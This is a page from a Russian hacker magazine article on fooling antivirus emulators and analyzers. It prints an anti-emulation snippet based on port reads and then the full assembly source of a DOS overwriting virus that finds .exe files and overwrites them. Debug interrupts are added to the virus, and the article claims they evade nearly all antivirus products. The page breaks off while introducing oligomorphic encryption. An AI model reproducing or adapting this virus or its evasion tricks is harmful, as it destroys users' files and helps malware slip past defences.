Как работают роботы-убийцы

Xakep, номер #042, стр. 042-046-2

Второй способ обмана эмулятора - это обмануть его на эмуляции периферии. Возьмем за пример отказ эмулятора при эмуляции работы с портами:

;---------------------------

in ax,42h

mov si,ax

in ax,42h

cmp ax,si

jnz exit

mov bx,1234h ; антивирус эмулирует, а на самом деле это не работает

exit:

;----------------------------

Теперь перейдем к способам обмана анализатора. Есть возможность обмана анализатора прерываниями процессора, которые переключают процессор в режим отладки. Это прерывания один и три.

Рассмотрим пример:

;----------------------------------------------------------------------------------------

cseg segment

assume cs:cseg,ds:cseg

org 100h

start:

mov ah,09h ;

lea dx,msg ; Итак, представимся

int 21h ;

mov ah,4eh ; ДОС функция найти первый файл

find:

int 1h ;!!!!!!!!!!!!!!!!!!!!!!

lea dx,file1 ; маска файла для поиска

int 21h ; найти первый файл

infect:

mov ax,3d01h ;

mov dx,09Eh ; откроем его

int 21h ;

xchg ax,bx ; хэндл файла в bx

int 3h ; !!!!!!!!!!!!!!!!!!!!!

mov ah,40h ; будем записывать

mov cl,89 ; сколько байт будем записывать [наша длина]

mov dx,100h ; с какой позиции? С начала, конечно

int 21h ; писать сейчас!

mov ah,3eh ; закроем файл

int 21h ;

mov ah,4Fh ; найдем новый

int 21h ;

jnc infect ; и заразим

int 20h ; конец

file1 db '*.exe',0

msg db '[+ sImPl3 0w3rwRit3 cHUm4 2.0 +] by s10n$'

cseg ends

end start

;----------------------------------------------------------------------------------------

Данный простейший вирус очень элементарно обнаруживается без маскирующих приемов, отмеченных восклицательными знаками, но добавление этих приемов позволяет вирусу обойти практически все антивирусные программы.

Мутировать и прогибаться

Теперь перейдем к "мутационным" технологиям, которые еще обзывают «полиморфными технологиями». Существует два основных вида мутаций. Первый и самый распространенный - это полиморфная технология. Она заключается в том, что тело вируса шифруется. Простейшей реализацией этой технологии является олигоморфизм. Т.е. при каждом заражении вирус шифруется случайным ключом, и ключ сохраняется в теле вируса; потом по этому ключу вирус расшифровывается, выполняет заложенные в него функции и шифруется обратно, но уже новым ключом. Таким образом после каждого запуска вирус как бы мутирует и принимает новую форму, но данная технология не зря называется олигоморфной (не полностью полиморфной). Недостаток маскировки заключается в том, что расшифровщик в данном вирусе остается постоянным, и возможно обнаружение такого вируса по его расшифровщику. Например:

Назад на стр. 042-046-1  Содержание  Вперед на стр. 042-046-3

ttfb: 4.7190189361572 ms